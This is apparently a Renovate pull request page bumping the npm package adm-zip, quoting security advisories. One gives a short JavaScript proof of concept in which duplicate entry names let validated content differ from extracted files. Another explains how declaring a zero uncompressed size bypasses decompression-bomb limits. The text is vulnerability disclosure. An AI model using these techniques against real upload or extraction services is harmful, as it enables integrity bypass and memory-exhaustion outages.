`CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44](https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44) - [https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87](https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87) - [https://github.com/cthackers/adm-zip](https://github.com/cthackers/adm-zip) - [https://github.com/cthackers/adm-zip/releases/tag/v0.6.1](https://github.com/cthackers/adm-zip/releases/tag/v0.6.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-j5f4-cc29-5x44) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### adm-zip: Duplicate ZIP entry names: getEntry() and extractAllTo() resolve to different content [GHSA-p634-w6r4-rjp2](https://github.com/advisories/GHSA-p634-w6r4-rjp2) <details> <summary>More information</summary> #### Details ##### Summary A ZIP file can contain two entries with the identical name. adm-zip keeps both in its internal entry list, but its name-lookup table only retains the last one written. `getEntry(name)` and `extractAllTo()` walk these two different internal structures, so they can each resolve a duplicate name to a *different* entry. An application that validates a named entry's contents via `getEntry()` before trusting an archive, then extracts the whole archive, can end up approving one file's content while a different file's bytes are what actually land on disk under that name. ##### Details - `zipFile.js:58-83` retains both entries in `entryList` but overwrites `entryTable[name]` with only the last one written. - `adm-zip.js:83-95,658-663` uses `entryTable` for `getEntry()` lookups — returns the *last* duplicate. - `adm-zip.js:769-914` iterates `entryList` for extraction — writes the *first* duplicate (sync, default overwrite policy). ##### PoC ```js const AdmZip = require('adm-zip'); const z = new AdmZip({ noSort: true }); z.addFile('a.txt', Buffer.from('FIRST')); z.addFile('b.txt', Buffer.from('SECOND')); const raw = Buffer.from(z.toBuffer()); // rename the a.txt entry to b.txt directly in the raw bytes for (let at = raw.indexOf('a.txt'); at >= 0; at = raw.indexOf('a.txt', at + 5)) { raw.write('b.txt', at); } const parsed = new AdmZip(raw, { noSort: true }); const validated = parsed.getEntry('b.txt').getData().toString(); parsed.extractAllTo(outDir, false); // validated === "SECOND", but the file written to disk === "FIRST" ``` Reproduced on the pinned commit (`2b4d84087d45344643e0183756e19191d52815cc`) ##### Impact An application that checks a named entry's content before trusting an untrusted ZIP, then extracts it, can be made to approve different bytes than what actually gets written to disk — the classic check/use split that this kind of validate-then-extract pattern relies on. #### Severity - CVSS Score: 5.9 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N` #### References - [https://github.com/cthackers/adm-zip/security/advisories/GHSA-p634-w6r4-rjp2](https://github.com/cthackers/adm-zip/security/advisories/GHSA-p634-w6r4-rjp2) - [https://github.com/cthackers/adm-zip/commit/05101d47b3b983b705cc3e66fc34366118ba7b99](https://github.com/cthackers/adm-zip/commit/05101d47b3b983b705cc3e66fc34366118ba7b99) - [https://github.com/cthackers/adm-zip](https://github.com/cthackers/adm-zip) - [https://github.com/cthackers/adm-zip/releases/tag/v0.6.1](https://github.com/cthackers/adm-zip/releases/tag/v0.6.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-p634-w6r4-rjp2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### adm-zip: Decompression-bomb protection (fix for CVE-2026-39244) can be bypassed by declaring uncompressed size as 0 [CVE-2026-92000](https://nvd.nist.gov/vuln/detail/CVE-2026-92000) / [GHSA-rcw4-f5rp-g42v](https://github.com/advisories/GHSA-rcw4-f5rp-g42v) <details> <summary>More information</summary> #### Details **Affected package:** adm-zip (npm) **Affected version:** 0.6.0 ##### Summary The fix shipped for CVE-2026-39244 (`methods/inflater.js`) caps zlib's decompression output via `maxOutputLength: expectedLength`, where `expectedLength` is read directly from the ZIP entry's attacker-controlled "uncompressed size" header field (`CENLEN`/`LOCLEN`). This cap is only applied when `expectedLength > 0`: ```js const option = version >= 15 && expectedLength > 0 ? { maxOutputLength: expectedLength } : {}; return zlib.inflateRawSync(inbuf, option); ``` If an attacker sets the declared uncompressed-size field to exactly **0**, this condition is false, `option` becomes `{}`, and no output cap is passed to zlib at all. Node then falls back to zlib's own internal default limit (several GB), so a small, highly-compressible payload can still be decompressed to a very large size in memory -- the same class of resource-exhaustion issue the original CVE addressed, just triggered differently. ##### Steps to Reproduce 1. Build a ZIP archive containing one DEFLATE-compressed entry whose real content is highly redundant (e.g. several MB of a repeated byte, achieving close to the ~1032:1 theoretical raw-DEFLATE compression ratio). 2. Patch the entry's declared uncompressed-size fields (both the local file header copy and the central directory copy, 4-byte little-endian values) to `0`. The compressed bytes and CRC32 are left untouched -- CRC validation still passes because CRC is computed over the real decompressed output, not the declared size. 3. Load the archive with `new AdmZip(buffer)` and call `.getEntries()[0].getData()` (or `readFile`/`readAsText`/`extractAllTo`/etc. -- all share the same code path). 4. Observe: decompression succeeds and returns the full-size buffer with no size restriction applied, whereas the same real data with an honest (but undersized) declared value correctly throws `Cannot create a Buffer larger than N bytes`. ##### Proof of Concept Attached script demonstrates a controlled A/B comparison using the identical real payload in both cases -- only the declared-size header field differs: - **Control** (declared size = 1024 bytes, deliberately smaller than the true 4MB output): correctly throws, proving the cap mechanism works when `expectedLength > 0`. - **Bypass** (declared size = 0, identical real payload): succeeds and returns the full 4,194,304-byte buffer with zero restriction. Verified reproducible across 3 independent runs. ##### Impact Any application that calls adm-zip's read/extract methods on an untrusted ZIP file (upload handlers, CI artifact extraction, email attachment scanning, etc.) can be made to allocate an amount of memory bounded only by zlib's own internal default rather than any limit the application or adm-zip intends -- a small (tens-of-MB) upload can trigger multi-GB memory consumption, risking process crash/OOM. ##### Suggested Fix Apply `maxOutputLength` unconditionally (e.g. defaulting to a sane absolute ceiling, or always passing the declared size regardless of whether it's 0), and/or add an independent compression-ratio check that doesn't rely solely on the attacker-supplied size field. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/cthackers/adm-zip/security/advisories/GHSA-rcw4-f5rp-g42v](https://github.com/cthackers/adm-zip/security/advisories/GHSA-rcw4-f5rp-g42v) - [https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6](https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6) - [https://github.com/cthackers/adm-zip](https://github.com/cthackers/adm-zip) - [https://github.com/cthackers/adm-zip/releases/tag/v0.6.1](https://github.com/cthackers/adm-zip/releases/tag/v0.6.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-rcw4-f5rp-g42v) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> > ❗ **Important** > > Release Notes retrieval for this PR were skipped because no github.com credentials were available. > If you are self-hosted, please see [this instruction](https://github.com/renovatebot/renovate/blob/master/docs/usage/examples/self-hosting.md#githubcom-token-for-release-notes). --- ### Configuration 📅 **Schedule**: (in timezone UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzIuMiIsInVwZGF0ZWRJblZlciI6IjQ0LjEzMi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Update dependency adm-zip to ^0.6.0 [SECURITY]
Some checks failed
Dependency security / osv (pull_request) Failing after 3s
Details
Dependency security / osv (push) Failing after 2s
Details
95539f444a
Some checks failed
Dependency security / osv (pull_request) Failing after 3s
Details
Dependency security / osv (push) Failing after 2s
Details
This pull request can be merged automatically.
This branch is out-of-date with the base branch
You are not authorized to merge this pull request.
View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.
git fetch -u origin renovate/npm-adm-zip-vulnerability:renovate/npm-adm-zip-vulnerability
git switch renovate/npm-adm-zip-vulnerability

Merge

Merge the changes and update on Forgejo.

Warning: The "Autodetect manual merge" setting is not enabled for this repository, you will have to mark this pull request as manually merged afterwards.

git switch main
git merge --no-ff renovate/npm-adm-zip-vulnerability
git switch renovate/npm-adm-zip-vulnerability
git rebase main
git switch main
git merge --ff-only renovate/npm-adm-zip-vulnerability
git switch renovate/npm-adm-zip-vulnerability
git rebase main
git switch main
git merge --no-ff renovate/npm-adm-zip-vulnerability
git switch main
git merge --squash renovate/npm-adm-zip-vulnerability
git switch main
git merge --ff-only renovate/npm-adm-zip-vulnerability
git switch main
git merge renovate/npm-adm-zip-vulnerability
git push origin main
Sign in to join this conversation.
Reviewers
No reviewers
Labels
Clear labels
No items
No labels
Milestone
Clear milestone
No items
No milestone
Projects
Clear projects
No items
No project
Assignees
Clear assignees
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
thomas/dotfiles!5
No description provided.